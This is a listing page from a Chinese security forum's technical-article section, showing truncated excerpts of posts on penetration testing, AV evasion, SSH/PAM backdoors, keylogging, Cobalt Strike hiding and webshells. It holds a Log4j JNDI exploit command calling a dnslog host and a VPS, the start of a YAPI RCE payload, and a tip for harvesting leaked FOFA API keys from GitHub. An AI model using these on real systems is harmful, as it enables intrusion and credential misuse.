# 技术文章 **URL:** https://forum.90sec.com/c/article/6.md [最新](https://forum.90sec.com/latest.md) · [类别](https://forum.90sec.com/categories.md) · [标签](https://forum.90sec.com/tags.md) --- ## [关于](https://forum.90sec.com/t/topic/13)
**Author:** [@admin05](https://forum.90sec.com/u/admin05)\ **回复:** 0
这里可以发表一些技术文章、渗透检测文章等…… Here you can publish a number of technical articles, penetration testing articles, etc… --- ## [关于任意文件下载的经验](https://forum.90sec.com/t/topic/2514)
**Author:** [@82303224](https://forum.90sec.com/u/82303224)\ **回复:** 0\ **最近更新：:** [2025 年7 月 5 日 08:03 UTC](https://forum.90sec.com/t/topic/2514 "2025-07-05T08:03:49Z")
背景：目标存在任意文件上传和任意文件下载，但是找不到物理路径。 是iis 可以读iis配置 是php可以尝试读apache配置 不是iis，不是php的时候 tomcat的时候， 除开常见的路径之外，还可以考虑读 谷歌浏览器记录，向… --- ## [远程分离免杀：是如何绕过杀软检测的？](https://forum.90sec.com/t/topic/2490)
**Author:** [@3020025192](https://forum.90sec.com/u/3020025192)\ **回复:** 0\ **最近更新：:** [2025 年3 月 12 日 08:04 UTC](https://forum.90sec.com/t/topic/2490 "2025-03-12T08:04:10Z")
杀毒软件的检测方式，主要还是靠特征匹配，虽然现在有很多行为分析的杀软，但归根结底，它们还是在监控API 调用模式。问题是，合法软件和恶意软件调用的 API 大部分是一样的，所以行为检测很容易误判。而且，只要换个编译器、改改代码，很多恶意软件… --- ## [PHP之殇 : 一个IR设计缺陷引发的蝴蝶效应](https://forum.90sec.com/t/topic/2422)
**Author:** [@maplgebra](https://forum.90sec.com/u/maplgebra)\ **回复:** 0\ **最近更新：:** [2024 年3 月 13 日 12:32 UTC](https://forum.90sec.com/t/topic/2422 "2024-03-13T12:32:02Z")
原文地址 0x01 IR设计中的问题 1.1 问题来源 鸟哥 (Laruence) \[1\]是所有国内PHPer应该都知道的一个人。鸟哥的博客是我早期学习PHP内核的时候经常会去的地方。在2020年的时候，鸟哥发了一篇《深入理解PHP7内核… --- ## [CVE-2023-3824: 幸运的Off-by-one](https://forum.90sec.com/t/topic/2399)
**Author:** [@maplgebra](https://forum.90sec.com/u/maplgebra)\ **回复:** 1\ **最近更新：:** [2025 年1 月 13 日 09:02 UTC](https://forum.90sec.com/t/topic/2399 "2025-01-13T09:02:46Z")
CVE-2023-3824: 幸运的Off-by-one. 原文 故事经过 前天看见了一个新闻\[1\], 英国国家打击犯罪局（NCA）、美国联邦调查局（FBI）、欧洲刑警组织等执法部门宣称联合捣毁了世界上最大的网络犯罪集团LockBit… --- ## [拥抱PHP之在crash中遇见generator](https://forum.90sec.com/t/topic/2315)
**Author:** [@maplgebra](https://forum.90sec.com/u/maplgebra)\ **回复:** 0\ **最近更新：:** [2023 年9 月 23 日 15:29 UTC](https://forum.90sec.com/t/topic/2315 "2023-09-23T15:29:52Z")
拥抱PHP之在crash中遇见generator 原文: 拥抱PHP之在crash中遇见generator | maplgebra 0. crash样本 缘起 \ **Author:** [@1433525240](https://forum.90sec.com/u/1433525240)\ **回复:** 1\ **最近更新：:** [2025 年1 月 14 日 10:53 UTC](https://forum.90sec.com/t/topic/2204 "2025-01-14T10:53:13Z") 记录一次实战稍曲折拿下目标站点的过程。 前期摸点 IIS7.0+ASP.NET的组合，简单尝试发现前台登录页面可能存在SQL注入，数据包如下： 为了节约时间直接祭出sqlmap，-r x.txt -v 3 --random-age… --- ## [批量检测站思路优化2](https://forum.90sec.com/t/topic/2131)
**Author:** [@82303224](https://forum.90sec.com/u/82303224)\ **回复:** 2\ **最近更新：:** [2025 年1 月 14 日 11:09 UTC](https://forum.90sec.com/t/topic/2131 "2025-01-14T11:09:48Z")
资产备案根域名信息收集 ENScanPublic\_amd64\_windows（需输入资产公司名字） 链接: 提取码: i2be 可选配置‘cookies: aiqicha: '' # 爱企查 Cookie tianyancha: '' # 天眼查 Cookie qcc: '' # 企查查 Cookie aldzs: '' # 阿拉神灯 Token xlb: '' # 小蓝本 Token 用法：\`ENScanPublic\_amd64\_window… --- ## [上帝模式下的shellcode](https://forum.90sec.com/t/topic/2078)
**Author:** [@Wker](https://forum.90sec.com/u/Wker)\ **回复:** 0\ **最近更新：:** [2022 年3 月 26 日 10:19 UTC](https://forum.90sec.com/t/topic/2078 "2022-03-26T10:19:46Z")
上帝模式下的shellcode “当上帝想要隐藏，无法跳出思维的人们永远也不会发现” ——Wker 对于硬盘文件中的shellcode保护起来… --- ## [微信小程序Unpack](https://forum.90sec.com/t/topic/2070)
**Author:** [@GMF](https://forum.90sec.com/u/GMF)\ **回复:** 0\ **最近更新：:** [2022 年3 月 21 日 01:48 UTC](https://forum.90sec.com/t/topic/2070 "2022-03-21T01:48:05Z")
微信小程序Unpack 0x01 前言 这种unpack方法早在一年之前就有up主发过文章，偶然之间看到顺手试了一下做个记录 原文地址：https://www.bilibili.com/read/cv9986715 0x02 正文部分 用… --- ## [Z-Blog 后台getshell+提权一把梭](https://forum.90sec.com/t/topic/2031)
**Author:** [@classic0796](https://forum.90sec.com/u/classic0796)\ **回复:** 3\ **最近更新：:** [2022 年3 月 7 日 08:49 UTC](https://forum.90sec.com/t/topic/2031 "2022-03-07T08:49:57Z")
Z-Blog 后台getshell+提权一把梭 登录后台后发现版本是1.7.0版本是2021年8月份发布的 首先查看 后台登录后可以在网站设置里设置允许上传的文件类型，通过修改发现没啥用 :@(不高兴) 改完以后还是无法上传 … --- ## [快速定位内网web资产进行安全检查](https://forum.90sec.com/t/topic/2009)
**Author:** [@82303224](https://forum.90sec.com/u/82303224)\ **回复:** 4\ **最近更新：:** [2022 年2 月 12 日 01:12 UTC](https://forum.90sec.com/t/topic/2009 "2022-02-12T01:12:12Z")
一般情况下去做检查，客户可能资产不全甚至没有的时候。一般时间比较急的情况下，不急可以忽略。 一般漏洞扫描设备或者虚拟机扫描（铱迅或者绿盟漏扫等）的同时手工进行web测试。 使用 webfinder 3.2 （范世强博客有）（这个优先，很方便找出内网web资产） 2 使用 masscantonmap （这个慢点，但可以提取web和识别服务） 常见端口：这个是在内网扫描到的保存的端口。 10003,10050,10051,10061,10080,10081,10086,1010,10443,1080,10801,10802,1090,1099,10999,110,111,112… --- ## [Java代审：Maven基础知识](https://forum.90sec.com/t/topic/1963)
**Author:** [@zxs](https://forum.90sec.com/u/zxs)\ **回复:** 0\ **最近更新：:** [2021 年12 月 23 日 06:49 UTC](https://forum.90sec.com/t/topic/1963 "2021-12-23T06:49:32Z")
前言 Maven 是一个项目构建和管理工具，利用它可以对 JAVA 项目进行构建和依赖管理。 Maven 采用项目对象模型 POM（Project Object Model）来管理项目。 Maven 的主要工作就是用来解析… --- ## [低权 Linux 键盘记录方案](https://forum.90sec.com/t/topic/1948)
**Author:** [@bakabie](https://forum.90sec.com/u/bakabie)\ **回复:** 4\ **最近更新：:** [2021 年12 月 21 日 14:18 UTC](https://forum.90sec.com/t/topic/1948 "2021-12-21T14:18:11Z")
前言 日了几台机器，虽说部分机器有ROOT，可以直接用之前的 一般路过PAM后门 / SSH密码记录，来替换PAM，用于记录密码。 然而问题是，这货上了LDAP，还自己改了改他们的PAM，所以直接替换PAM的方案行不通了。 而且有一个跳… --- ## [Apache-Log4j](https://forum.90sec.com/t/topic/1939)
**Author:** [@82303224](https://forum.90sec.com/u/82303224)\ **回复:** 7\ **最近更新：:** [2021 年12 月 22 日 10:03 UTC](https://forum.90sec.com/t/topic/1939 "2021-12-22T10:03:34Z")
一 漏洞检测： xx.24b5010c.dns.1433.eu.org //dnslog地址 10.10.10.10 //vps外网地址 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping xx.24b5010c.dns.1433.eu.org" -A 10.10.10.10 得到类似几个地址： rmi://10.10.10.10:1099/iqnqyi ldap://10.10.10.10:1389/iqnqyi rmi://10.10.10.10:109… --- ## [关于最近批量找网站漏洞的一些经验](https://forum.90sec.com/t/topic/1936)
**Author:** [@82303224](https://forum.90sec.com/u/82303224)\ **回复:** 18\ **最近更新：:** [2025 年3 月 11 日 05:26 UTC](https://forum.90sec.com/t/topic/1936 "2025-03-11T05:26:52Z")
目标肯定是授权的或者不需要授权的监管单位。 一，任务要求 没有指定站点，只指定类型譬如运营商/运营商增值业务，某省重点国企，事业单位，3甲医院，高校等。2. 每月需要提交多少个漏洞等要求。 二，查找目标: 譬如运营商 一般就三大 电信 联通 移动， 增值的不好找，可以搜索招聘网站，选择运营商和增值业务，会有一批目标， 通过特定关键字fofa搜索 感觉挺累的 4.. 譬如省重点国企，可以搜索 某省重点国企排名。 5.. 高校，医院 这个比较好搜，最好是那种直接带网址的。 搜索到目标名字了，然后就可以通过一些企查查之类的 企业查询官网网站，有时候没有官网可以留意联 系人邮箱… --- ## [探索Filter型Tomcat内存马的免杀](https://forum.90sec.com/t/topic/1931)
**Author:** [@4ra1n](https://forum.90sec.com/u/4ra1n)\ **回复:** 0\ **最近更新：:** [2021 年11 月 24 日 03:19 UTC](https://forum.90sec.com/t/topic/1931 "2021-11-24T03:19:27Z")
本文首发于先知社区：https://xz.aliyun.com/t/10562 介绍 学习了c0ny1师傅写的查杀Java web filter型内存马 Filter型内存马的查杀思路主要是这四条： Filter名称是否合理 Fil… --- ## [详解Java自动代码审计工具实现](https://forum.90sec.com/t/topic/1930)
**Author:** [@4ra1n](https://forum.90sec.com/u/4ra1n)\ **回复:** 0\ **最近更新：:** [2021 年11 月 24 日 03:17 UTC](https://forum.90sec.com/t/topic/1930 "2021-11-24T03:17:27Z")
该文章首发于跳跳糖：https://tttang.com/archive/1334/ 本文略有删改 0x01 背景 之前在先知社区写过相关的文章：https://xz.aliyun.com/t/10433 文章过于粗糙，一些基础原理和… --- ## [深入分析GadgetInspector核心代码](https://forum.90sec.com/t/topic/1907)
**Author:** [@4ra1n](https://forum.90sec.com/u/4ra1n)\ **回复:** 1\ **最近更新：:** [2021 年10 月 19 日 03:59 UTC](https://forum.90sec.com/t/topic/1907 "2021-10-19T03:59:37Z")
文章首发于先知社区：https://xz.aliyun.com/t/10363 目录 1 前言 1.1 简介 GadgetInspector是Black Hat 2018提出的一个Java反序列化利用链自动挖掘工具，核心技术的Jav… --- ## [实战过程中关于阿里云数据库连接问题](https://forum.90sec.com/t/topic/1872)
**Author:** [@82303224](https://forum.90sec.com/u/82303224)\ **回复:** 8\ **最近更新：:** [2023 年10 月 6 日 05:31 UTC](https://forum.90sec.com/t/topic/1872 "2023-10-06T05:31:45Z")
正常情况下阿里云一般数据库和网站是分离的，而且一般情况下只能通过网站连接数据库。 哪怕有时候遇到阿里云数据库是可以连接的，也只是知道内网ip。 发现一个情况 阿里云的数据库内网连接地址比外网ip地址少两位。 如果遇到知道内网数据库连接信息，不妨加2位ping一下能通基本上就是外网地址， 能不能外连就看运气了。 譬如：rm-wz03dy6e5774ky0gd.mysql.rds.aliyuncs.com 你可以用字典工具生成下(数字+小写字母2位组合字典)：ip.txt 左边批量添加：rm-wz03dy6e5774ky0gd 右边批量添加：.mysql.rds.aliyuncs.… --- ## [技术分享 | DLL注入之全局钩子注入](https://forum.90sec.com/t/topic/1867)
**Author:** [@zxs](https://forum.90sec.com/u/zxs)\ **回复:** 0\ **最近更新：:** [2021 年9 月 8 日 03:04 UTC](https://forum.90sec.com/t/topic/1867 "2021-09-08T03:04:42Z")
--- ## [挖洞技巧-扩展攻击面](https://forum.90sec.com/t/topic/1861)
**Author:** [@lufei](https://forum.90sec.com/u/lufei)\ **回复:** 6\ **最近更新：:** [2022 年8 月 17 日 03:17 UTC](https://forum.90sec.com/t/topic/1861 "2022-08-17T03:17:42Z")
0x00 前言 在挖洞过程中，我们经常忽略一些攻击面，但是这些被忽略的攻击面很大概率就是存在漏洞的。因为比较明显的攻击面被大多数人来回测试了几次，因此我们需要寻找一些很少人挖的地方进行挖掘。 0x01 更多的资产 可以通过空间引擎搜索一些… --- ## [SSH软链接后门利用和原理](https://forum.90sec.com/t/topic/1852)
**Author:** [@zxs](https://forum.90sec.com/u/zxs)\ **回复:** 0\ **最近更新：:** [2021 年8 月 20 日 09:53 UTC](https://forum.90sec.com/t/topic/1852 "2021-08-20T09:53:40Z")
本文由锦行科技的安全研究团队提供，主要介绍SSH软连接后门的利用和相关原理。 00 利用前提 ssh配置中开启了PAM进行身份验证 查看是否使用PAM进行身份验证：cat/etc/ssh/sshd\_config|grep UsePAM … --- ## [YAPI系统远程命令执行漏洞#转发](https://forum.90sec.com/t/topic/1763)
**Author:** [@805336837](https://forum.90sec.com/u/805336837)\ **回复:** 0\ **最近更新：:** [2021 年7 月 9 日 02:47 UTC](https://forum.90sec.com/t/topic/1763 "2021-07-09T02:47:46Z")
注册或者爆破获取用户登录权限登陆系统： 添加项目： 添加接口 添加mock脚本： payload： const sandbox = this const ObjectConstructor = this.construct… --- ## [CNN框架初探](https://forum.90sec.com/t/topic/1760)
**Author:** [@Wker](https://forum.90sec.com/u/Wker)\ **回复:** 1\ **最近更新：:** [2021 年9 月 17 日 08:44 UTC](https://forum.90sec.com/t/topic/1760 "2021-09-17T08:44:56Z")
CNN 很久没更新博客了，前段时间面试上了字节，然后考了很多考试，所以一直没时间做自己的东西，现在终于放暑假了，更新下上个月的一些小成果吧。 之前一直在寻找java的cnn框架，没找到，只找到了一个很老的深度学习框架，简单用了下，拟合个比… --- ## [渗透测试思维导图v1.0](https://forum.90sec.com/t/topic/1759)
**Author:** [@monero3000](https://forum.90sec.com/u/monero3000)\ **回复:** 1\ **最近更新：:** [2021 年8 月 4 日 15:13 UTC](https://forum.90sec.com/t/topic/1759 "2021-08-04T15:13:14Z")
1.0版，以后再补充 \[图片\] --- ## [fofa\_Tips](https://forum.90sec.com/t/topic/1757)
**Author:** [@kosakd](https://forum.90sec.com/u/kosakd)\ **回复:** 6\ **最近更新：:** [2021 年8 月 4 日 15:11 UTC](https://forum.90sec.com/t/topic/1757 "2021-08-04T15:11:24Z")
正文 今天分享一个白嫖FOFA会员的Tips 可以到GitHub上搜索fofa key的关键字fofa\_api、fofa\_key、fofa\_email就能找到，一些开发者，忘记在程序中删除的fofa api key，上面有的key有… --- ## [CobaltStrike上线隐藏](https://forum.90sec.com/t/topic/1756)
**Author:** [@kosakd](https://forum.90sec.com/u/kosakd)\ **回复:** 0\ **最近更新：:** [2021 年7 月 6 日 15:51 UTC](https://forum.90sec.com/t/topic/1756 "2021-07-06T15:51:21Z")
1.前言 话接上篇，上篇写了cs的常见特征隐藏，这次来讲解下，几种木马上线，常见的隐藏方法，其中有代理转发上线，DNS上线，CDN上线，域前置上线，云函数上线。 其中域前置上线，通过 这种方法需要厂商的支持，早些时候的amazon和goo… --- ## [DIY一个hackcube-rf](https://forum.90sec.com/t/topic/1754)
**Author:** [@dadvlingd](https://forum.90sec.com/u/dadvlingd)\ **回复:** 0\ **最近更新：:** [2021 年7 月 6 日 07:24 UTC](https://forum.90sec.com/t/topic/1754 "2021-07-06T07:24:55Z")
起因 作为网络安全从事者，这个HackCube一直想拥有一个。可惜，现在停产了。不过发布那时，还没接触到这个东西。所以一直想拥有一个。ps:主要使用RF功能，本教程只制作RF功能模块。 材料准备 这个需要一定的焊接元件功底。 硬件主要： … --- ## [AWVS14\_Tips](https://forum.90sec.com/t/topic/1753)
**Author:** [@kosakd](https://forum.90sec.com/u/kosakd)\ **回复:** 1\ **最近更新：:** [2021 年7 月 8 日 18:46 UTC](https://forum.90sec.com/t/topic/1753 "2021-07-08T18:46:45Z")
Awvs14 AWVS扫描器强大的爬虫功能不言而喻，AWVS+xray现在都是主流打法，前个礼拜看到了AWVS14有docker环境，这篇笔记记录下，布置的流程，也没啥，布置完成后突然有个想法，希望看到最后 Dokcer环境安装 d… [下一页](https://forum.90sec.com/c/article/6.md?page=1)